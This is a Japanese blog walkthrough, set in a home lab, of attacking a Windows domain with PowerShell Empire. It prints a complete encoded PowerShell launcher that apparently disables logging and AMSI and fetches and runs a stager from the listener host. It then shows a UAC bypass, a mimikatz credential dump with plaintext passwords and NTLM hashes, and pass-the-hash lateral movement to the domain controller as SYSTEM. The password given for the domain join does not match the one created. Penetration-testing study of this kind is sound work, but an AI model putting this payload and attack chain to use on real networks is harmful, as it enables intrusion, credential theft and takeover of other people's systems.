PowerShell Empireを使う
はじめに
PowerShell Empireというペネトレーション用のツールがあります。今回はそれを使ってみましたという記事内容です。
当然ですが、自分のローカル環境以外で試してはいけません。試すときもインターネットから切り離して行うようにするとよいでしょう。またこれを公開されているサーバに実行した際に発生したすべての物事、事象に対してブログ主は一切の責任を負いません。
今回の目的ですが、ドメイン環境下のPCで別のPCに移動してみようと思います。これにはinvoke_smbexecを利用します。
環境構築
- Windows Server 2012 R2
- ドメイン名:PENTEST
- Windows 7
- ユーザ名:user
- Kali Linux
Windows Server 2012 R2の用意
以下の一連のコマンドをたたいて環境構築する。Active Directoryを入れると再起動する点だけ注意。
# Active Directoryの機能追加 Get-WindowsFeature AD-Domain-Services | Install-WindowsFeature Import-Module ADDSDeployment # Domain Controller構築 mkdir C:\NTDS mkdir C:\SYSVOL Install-ADDSForest ` -CreateDnsDelegation:$false ` -DatabasePath "C:\NTDS" ` -DomainMode "Win2012R2" ` -DomainName "pentest.local" ` -DomainNetbiosName "PENTEST" ` -ForestMode "Win2012R2" ` -InstallDns:$true ` -LogPath "C:\NTDS" ` -NoRebootOnCompletion:$false ` -SysvolPath "C:\SYSVOL" ` -Force:$true # 再起動が入ります # ユーザ作成 $password = ConvertTo-SecureString -AsplainText "Vict1m3" -Force New-ADUser -Name user -DisplayName user -ChangePasswordAtLogon $false -CannotChangePassword $true -Enabled $true -AccountPassword $password # Domain Adminsに追加 Add-ADGroupMember -Identity "Domain Admins" -Member user
これでDomain Adminsのuserを作成したActive Directory環境を作成できました。次にWin7がドメイン参加します。
Win7の用意
ドメイン参加
コントロールパネルから「システムとセキュリティ」→「システム」に移動します。するとドメインおよびワークグループの変更という部分があるのでここで変更を行います。ドメイン名は「PENTEST」と入力するとユーザ名とパスワードを求められるのでWin2012を用意した際に作成したユーザ名「user」、パスワード「Emp1r3」を入力してドメイン参加します。ここで失敗する場合はuserがDomain Adminsグループに参加していない可能性があります。
ドメインのユーザにローカルコンピュータの管理者権限を与える
「Windowsキー」+「R」でプログラム名を指定して実行から「lusrmgr.msc」を実行します。ここでグループのAdministratorsグループにドメインユーザである「user」を追加します。
Kali Linuxの用意
Empireのインストール
以下のコマンドを実行してEmpireをインストールします
# apt-get upgrade # git clone https://github.com/EmpireProject/Empire.git # cd Empire/setup # ./install.sh
Empireを利用する
Win7でRATを実行し、Empireで待ち受ける
Empireを利用する環境が整ったので利用していきます。
# cd ../ # ./empire ================================================================ [Empire] Post-Exploitation Framework ================================================================ [Version] 2.5 | [Web] https://github.com/empireProject/Empire ================================================================ _______ .___ ___. .______ __ .______ _______ | ____|| \/ | | _ \ | | | _ \ | ____| | |__ | \ / | | |_) | | | | |_) | | |__ | __| | |\/| | | ___/ | | | / | __| | |____ | | | | | | | | | |\ \----.| |____ |_______||__| |__| | _| |__| | _| `._____||_______| 285 modules currently loaded 0 listeners currently active 0 agents currently active
Empireを起動するとこのような画面が出ると思います。ここからWin7でRATを動かしてそれをこのEmpireで待ち受けます
Empireで待ち受けるlistenerを作成し、起動。その後Empireで待ち受けるようのRATプログラムを作成します。
(Empire) > listeners [!] No listeners currently active (Empire: listeners) > uselistener http (Empire: listeners/http) > execute [*] Starting listener 'http' * Serving Flask app "http" (lazy loading) * Environment: production WARNING: Do not use the development server in a production environment. Use a production WSGI server instead. * Debug mode: off [+] Listener successfully started!
ここまでの一連のコマンドで待ち受けるlistenerが作成され、待ち受ける準備が整います。次にRATプログラムを作成します。
(Empire: listeners/http) > launcher powershell powershell -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBlAFIAcwBJAE8AbgBUAEEAYgBsAEUALgBQAFMAVgBlAHIAUwBpAE8AbgAuAE0AYQBKAG8AUgAgAC0ARwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBlAGYAXQAuAEEAcwBTAEUAbQBiAGwAeQAuAEcARQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAdABGAGkARQBgAEwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAVABWAGEATAB1AEUAKAAkAG4AdQBsAEwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAYQBsAD0AWwBDAE8ATABsAEUAQwB0AEkAbwBuAFMALgBHAEUATgBFAHIASQBjAC4ARABJAGMAVABJAE8AbgBBAHIAeQBbAHMAdAByAEkAbgBnACwAUwB5AFMAdABFAG0ALgBPAEIASgBlAEMAdABdAF0AOgA6AG4AZQBXACgAKQA7ACQAdgBhAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAVgBhAEwALgBBAEQARAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJAB2AGEAbAB9AEUATABzAEUAewBbAFMAYwByAGkAcABUAEIATABvAEMASwBdAC4AIgBHAGUAdABGAEkAZQBgAEwARAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBFAFQAVgBBAEwAVQBlACgAJABOAFUAbABMACwAKABOAGUAVwAtAE8AQgBqAGUAQwBUACAAQwBPAEwAbABlAEMAdABJAE8ATgBTAC4ARwBFAE4ARQBSAGkAYwAuAEgAQQBzAEgAUwBlAHQAWwBzAHQAcgBpAE4AZwBdACkAKQB9AFsAUgBlAGYAXQAuAEEAcwBzAGUATQBiAGwAeQAuAEcARQBUAFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJABfAH0AfAAlAHsAJABfAC4ARwBlAFQARgBpAEUAbABEACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAEEAbABVAEUAKAAkAE4AVQBsAGwALAAkAHQAcgB1AEUAKQB9ADsAfQA7AFsAUwBZAFMAdABlAE0ALgBOAEUAdAAuAFMARQBSAFYAaQBDAEUAUABPAEkAbgB0AE0AYQBuAGEAZwBFAHIAXQA6ADoARQBYAFAAZQBjAFQAMQAwADAAQwBPAG4AdABpAE4AdQBFAD0AMAA7ACQAdwBjAD0ATgBFAHcALQBPAEIASgBlAEMAVAAgAFMAWQBTAHQAZQBtAC4ATgBlAFQALgBXAEUAYgBDAGwAaQBlAE4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAEgAZQBBAGQARQBSAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAAUgBvAHgAeQA9AFsAUwBZAFMAVABFAG0ALgBOAEUAVAAuAFcAZQBiAFIAZQBRAHUARQBTAHQAXQA6ADoARABlAGYAYQB1AGwAVABXAGUAYgBQAFIATwBYAHkAOwAkAHcAQwAuAFAAcgBPAHgAeQAuAEMAUgBlAGQAZQBuAFQAaQBBAEwAUwAgAD0AIABbAFMAWQBTAHQARQBtAC4ATgBFAFQALgBDAFIAZQBkAGUATgBUAGkAYQBsAEMAYQBjAEgAZQBdADoAOgBEAEUARgBhAFUAbAB0AE4AZQB0AFcAbwByAEsAQwBSAEUARABlAE4AVABJAEEATABzADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwB5AFMAVABlAG0ALgBUAEUAeABUAC4ARQBOAGMAbwBEAEkATgBHAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AGUAUwAoACcAMABkADMAOAA0AGYANAAyAGMAYwA5ADUAZgA4ADIAYwBjADQAMgA1AGEAMwAwADAAOAAzADEAYwAwADIAMQAwACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAEIAeABvAHIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMgAuADMAOgA4ADAAJwA7ACQAdAA9ACcALwBuAGUAdwBzAC4AcABoAHAAJwA7ACQAVwBDAC4ASABlAEEARABFAHIAUwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMgBYAEQAbgB5AHQAKwBaAEsATgAzAEgAcABnAEwAYgBVAHoAMABxAGEAaABsAFQAVwBtAFkAPQAiACkAOwAkAGQAYQB0AGEAPQAkAFcAQwAuAEQAbwB3AG4AbABPAGEAZABEAGEAVABBACgAJABzAEUAUgArACQAdAApADsAJABJAHYAPQAkAEQAQQB0AEEAWwAwAC4ALgAzAF0AOwAkAEQAYQBUAGEAPQAkAGQAQQB0AEEAWwA0AC4ALgAkAGQAYQB0AEEALgBMAEUAbgBHAHQASABdADsALQBKAG8AaQBOAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA== (Empire: listeners/http) >
powershell
の文字からの一連のスクリプトがRATとなります。これをコピーしWin7のPowershellで実行します。ちなみにlauncher python
とするとpython用のプログラムが出力されます。
Win7で実行した後、少し待つとKali Linuxの方で下のような出力がされているはずです。されていない場合はネットワーク周りの設定を見直してください。(pingが届くかとか) ここでagentが確立されます。このagentsを用いるとコマンドの実行等ができますが、それは今回の主題ではないのでパスします。
[*] Sending POWERSHELL stager (stage 1) to 192.168.12.10 [*] New agent HLV5ZS3G checked in [+] Initial agent HLV5ZS3G from 192.168.12.10 now active (Slack) [*] Sending agent (stage 2) to HLV5ZS3G at 192.168.12.10 (Empire: listeners/http) > agents [*] Active agents: Name La Internal IP Machine Name Username Process PID Delay Last Seen ---- -- ----------- ------------ -------- ------- --- ----- --------- HLV5ZS3G ps 192.168.12.10 VICTIM PENTEST\user powershell 1644 5/0.0 2018-08-17 15:00:09 (Empire: agents) > interact HLV5ZS3G
interact ***
とすることで確立した通信に対して割り込むことが可能となります(この認識で正しいのか不明)
パスワードハッシュを入手する(bypassuacを利用した権限昇格)
ここからinvoke_smbexecを利用するためにパスワードハッシュを入手します。それにはmimikatzというツールを利用するのですが、mimikatzというツールを利用するためには管理者権限が必要となるので、まずは権限を昇格します。
権限を昇格するためにはprivesc/bypassuac
というモジュールを利用します。
(Empire: HLV5ZS3G) > usemodule privesc/bypassuac (Empire: powershell/privesc/bypassuac) > info Name: Invoke-BypassUAC Module: powershell/privesc/bypassuac NeedsAdmin: False OpsecSafe: False Language: powershell MinLanguageVersion: 2 Background: True OutputExtension: None Authors: Leo Davidson @meatballs__ @TheColonial @mattifestation @harmyj0y @sixdub Description: Runs a BypassUAC attack to escape from a medium integrity process to a high integrity process. This attack was originally discovered by Leo Davidson. Empire uses components of MSF's bypassuac injection implementation as well as an adapted version of PowerSploit's Invoke-- Shellcode.ps1 script for backend lifting. Comments: https://github.com/mattifestation/PowerSploit/blob/master/Co deExecution/Invoke--Shellcode.ps1 https://github.com/rapid7 /metasploit-framework/blob/master/modules/exploits/windows/l ocal/bypassuac_injection.rb https://github.com/rapid7 /metasploit-framework/tree/master/external/source/exploits/b ypassuac_injection/dll/src http://www.pretentiousname.com/ Options: Name Required Value Description ---- -------- ------- ----------- Listener True Listener to use. UserAgent False default User-agent string to use for the staging request (default, none, or other). Proxy False default Proxy to use for request (default, none, or other). Agent True HLV5ZS3G Agent to run module on. ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other). (Empire: powershell/privesc/bypassuac) > set Listener http (Empire: powershell/privesc/bypassuac) > execute [>] Module is not opsec safe, run? [y/N] y [*] Tasked HLV5ZS3G to run TASK_CMD_JOB [*] Agent HLV5ZS3G tasked with task ID 1 [*] Tasked agent HLV5ZS3G to run module powershell/privesc/bypassuac (Empire: powershell/privesc/bypassuac) > [*] Agent HLV5ZS3G returned results. Job started: 2Y7F9M [*] Valid results returned by 192.168.12.10 [*] Sending POWERSHELL stager (stage 1) to 192.168.12.10 [*] New agent 85VHTSNY checked in [+] Initial agent 85VHTSNY from 192.168.12.10 now active (Slack) [*] Sending agent (stage 2) to 85VHTSNY at 192.168.12.10
moduleの使い方ですが、usemodule <モジュール名>
と打つことでモジュールを利用するモードに移行します。
ここでinfo
と打つことでモジュールに必要な情報を得ることができます。Trueと表示されているものはモジュールを実行するのに必須なオプション、Falseは埋めなくても実行可能です。実行可能ですが成功するかどうかはわかりません。Trueと表示されているものは実行しようとしても埋まっていないということで実行できません。
bypassuac
はListener
にTrue
となっているので、設定する必要があります。今回はhttpというListener名としているのでset Listener http
と設定してexecute
をすることで実行します。
実行した結果新たな接続が確立されます。
パスワードハッシュを入手する(mimikatzを使う)
前回で権限昇格した接続が確立されたのでmimikatzを使っていきます。
(Empire: powershell/privesc/bypassuac) > interact 85VHTSNY (Empire: 85VHTSNY) > usemodule credentials/mimikatz/logonpasswords* (Empire: powershell/credentials/mimikatz/logonpasswords) > execute [*] Tasked 85VHTSNY to run TASK_CMD_JOB [*] Agent 85VHTSNY tasked with task ID 1 [*] Tasked agent 85VHTSNY to run module powershell/credentials/mimikatz/logonpasswords (Empire: powershell/credentials/mimikatz/logonpasswords) > [*] Agent 85VHTSNY returned results. Job started: SKHF3V [*] Valid results returned by 192.168.12.10 [*] Agent 85VHTSNY returned results. Hostname: victim.pentest.local / S-1-5-21-2313106677-264397757-2816267570 .#####. mimikatz 2.1.1 (x86) built on Nov 12 2017 15:43:57 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz(powershell) # sekurlsa::logonpasswords Authentication Id : 0 ; 93788 (00000000:00016e5c) Session : Interactive from 1 User Name : user Domain : PENTEST Logon Server : WIN-LIL2GIC6EFI Logon Time : 8/17/2018 2:48:52 PM SID : S-1-5-21-2313106677-264397757-2816267570-1108 msv : [00000003] Primary * Username : user * Domain : PENTEST * LM : 411918ffe7ef1d9baad3b435b51404ee * NTLM : e82a5afbaa5f49c9a9e375430f3cdf05 * SHA1 : f82e5b1300b72f836990b9e8f150eb2e05e07bdf tspkg : * Username : user * Domain : PENTEST * Password : Vict1m3 wdigest : * Username : user * Domain : PENTEST * Password : Vict1m3 kerberos : * Username : user * Domain : PENTEST.LOCAL * Password : Vict1m3 ssp : credman : Authentication Id : 0 ; 93757 (00000000:00016e3d) Session : Interactive from 1 User Name : user Domain : PENTEST Logon Server : WIN-LIL2GIC6EFI Logon Time : 8/17/2018 2:48:52 PM SID : S-1-5-21-2313106677-264397757-2816267570-1108 msv : [00000003] Primary * Username : user * Domain : PENTEST * LM : 411918ffe7ef1d9baad3b435b51404ee * NTLM : e82a5afbaa5f49c9a9e375430f3cdf05 * SHA1 : f82e5b1300b72f836990b9e8f150eb2e05e07bdf tspkg : * Username : user * Domain : PENTEST * Password : Vict1m3 wdigest : * Username : user * Domain : PENTEST * Password : Vict1m3 kerberos : * Username : user * Domain : PENTEST.LOCAL * Password : Vict1m3 ssp : credman : Authentication Id : 0 ; 997 (00000000:000003e5) Session : Service from 0 User Name : LOCAL SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 8/17/2018 2:47:44 PM SID : S-1-5-19 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : (null) * Domain : (null) * Password : (null) ssp : credman : Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : VICTIM$ Domain : PENTEST Logon Server : (null) Logon Time : 8/17/2018 2:47:44 PM SID : S-1-5-20 msv : [00000003] Primary * Username : VICTIM$ * Domain : PENTEST * NTLM : 60b2fb46b19173f585d481c181b61d70 * SHA1 : 6eaa278ae25f3386b4d84f4a484044995c4429ca tspkg : wdigest : * Username : VICTIM$ * Domain : PENTEST * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#], kerberos : * Username : victim$ * Domain : PENTEST.LOCAL * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#], ssp : credman : Authentication Id : 0 ; 21590 (00000000:00005456) Session : UndefinedLogonType from 0 User Name : (null) Domain : (null) Logon Server : (null) Logon Time : 8/17/2018 2:47:43 PM SID : msv : [00000003] Primary * Username : VICTIM$ * Domain : PENTEST * NTLM : 60b2fb46b19173f585d481c181b61d70 * SHA1 : 6eaa278ae25f3386b4d84f4a484044995c4429ca tspkg : wdigest : kerberos : ssp : credman : Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : VICTIM$ Domain : PENTEST Logon Server : (null) Logon Time : 8/17/2018 2:47:42 PM SID : S-1-5-18 msv : tspkg : wdigest : * Username : VICTIM$ * Domain : PENTEST * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#], kerberos : * Username : victim$ * Domain : PENTEST.LOCAL * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#], ssp : credman : mimikatz(powershell) # exit Bye! [*] Valid results returned by 192.168.12.10 (Empire: powershell/credentials/mimikatz/logonpasswords) > creds Credentials: CredID CredType Domain UserName Host Password ------ -------- ------ -------- ---- -------- 1 hash pentest.local user victim e82a5afbaa5f49c9a9e375430f3cdf05 2 hash pentest.local VICTIM$ victim 60b2fb46b19173f585d481c181b61d70 3 plaintext pentest.local user victim Vict1m3 (Empire: powershell/credentials/mimikatz/logonpasswords) > back
使い方はbypassuacの時と一緒です。実行するといろいろ出力されます。この情報はcreds
と打つことで見ることができます。
結果はこのようにパスワードハッシュとパスワードの平文を手に入れてます。今度はこのパスワードハッシュを利用してドメイン上にある別のPCに移る(感染)しにいきます。
invoke_smbexecする
別のPCに移るために今回はinvoke_smbexecコマンドを利用します。
(Empire: 85VHTSNY) > usemodule lateral_movement/invoke_smbexec (Empire: powershell/lateral_movement/invoke_smbexec) > info Name: Invoke-SMBExec Module: powershell/lateral_movement/invoke_smbexec NeedsAdmin: False OpsecSafe: True Language: powershell MinLanguageVersion: 2 Background: False OutputExtension: None Authors: @rvrsh3ll Description: Executes a stager on remote hosts using SMBExec.ps1 Comments: https://raw.githubusercontent.com/Kevin-Robertson/Invoke- TheHash/master/Invoke-SMBExec.ps1 Options: Name Required Value Description ---- -------- ------- ----------- CredID False CredID from the store to use. ComputerName True Host[s] to execute the stager on, comma separated. Service False Name of service to create and delete. Defaults to 20 char random. ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other). Username True Username. Domain False Domain. Hash True NTLM Hash in LM:NTLM or NTLM format. Agent True 85VHTSNY Agent to run module on. Listener True Listener to use. Proxy False default Proxy to use for request (default, none, or other). UserAgent False default User-agent string to use for the staging request (default, none, or other). (Empire: powershell/lateral_movement/invoke_smbexec) > creds Credentials: CredID CredType Domain UserName Host Password ------ -------- ------ -------- ---- -------- 1 hash pentest.local user victim e82a5afbaa5f49c9a9e375430f3cdf05 2 hash pentest.local VICTIM$ victim 60b2fb46b19173f585d481c181b61d70 3 plaintext pentest.local user victim Vict1m3 (Empire: powershell/lateral_movement/invoke_smbexec) > set CredID 1 (Empire: powershell/lateral_movement/invoke_smbexec) > set ComputerName 192.168.12.1 (Empire: powershell/lateral_movement/invoke_smbexec) > set Username user (Empire: powershell/lateral_movement/invoke_smbexec) > set Domain PENTEST (Empire: powershell/lateral_movement/invoke_smbexec) > set hash e82a5afbaa5f49c9a9e375430f3cdf05 [!] Invalid option specified. (Empire: powershell/lateral_movement/invoke_smbexec) > set Hash e82a5afbaa5f49c9a9e375430f3cdf05 (Empire: powershell/lateral_movement/invoke_smbexec) > set Listener http (Empire: powershell/lateral_movement/invoke_smbexec) > execute [*] Tasked 85VHTSNY to run TASK_CMD_WAIT [*] Agent 85VHTSNY tasked with task ID 2 [*] Tasked agent 85VHTSNY to run module powershell/lateral_movement/invoke_smbexec (Empire: powershell/lateral_movement/invoke_smbexec) >
モジュールの使い方は一緒です、必要な情報をひたすら埋めていきます。
実行した結果は下のようになります。info
と打つことで別のPCに移動していることが確認できます。
※前のagentの時にinfoと打ってないのでわかりにくいですが移動できています。internal_ipの値がそれを証明しています
[*] Agent 85VHTSNY returned results. Command executed with service TIPCPSXLXSJTFJEJWAWB on 192.168.12.1 [*] Valid results returned by 192.168.12.10 [*] Sending POWERSHELL stager (stage 1) to 192.168.12.1 [*] New agent 7NUPWBKG checked in [+] Initial agent 7NUPWBKG from 192.168.12.1 now active (Slack) [*] Sending agent (stage 2) to 7NUPWBKG at 192.168.12.1 (Empire: powershell/lateral_movement/invoke_smbexec) > interact 7NUPWBKG (Empire: 7NUPWBKG) > info [*] Agent info: nonce 7180758306521210 jitter 0.0 servers None internal_ip 192.168.12.1 working_hours session_key X-Tv+%o=mq_[G:h~0DH6Owajuf`z&.Vs children None checkin_time 2018-08-17 15:22:26 hostname WIN-LIL2GIC6EFI id 3 delay 5 username PENTEST\SYSTEM kill_date parent None process_name powershell listener http process_id 1664 profile /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko os_details Microsoft Windows Server 2012 R2 Datacenter ??? lost_limit 60 taskings None name 7NUPWBKG language powershell external_ip 192.168.12.1 session_id 7NUPWBKG lastseen_time 2018-08-17 15:22:38 language_version 4 high_integrity 1 (Empire: 7NUPWBKG) >
対策
さて今回の実験でRATを実行したPCは条件次第では別のPCに移れてしまいます。なのでわかった時点で隔離しましょう。まずはネットワークを切りましょう。以上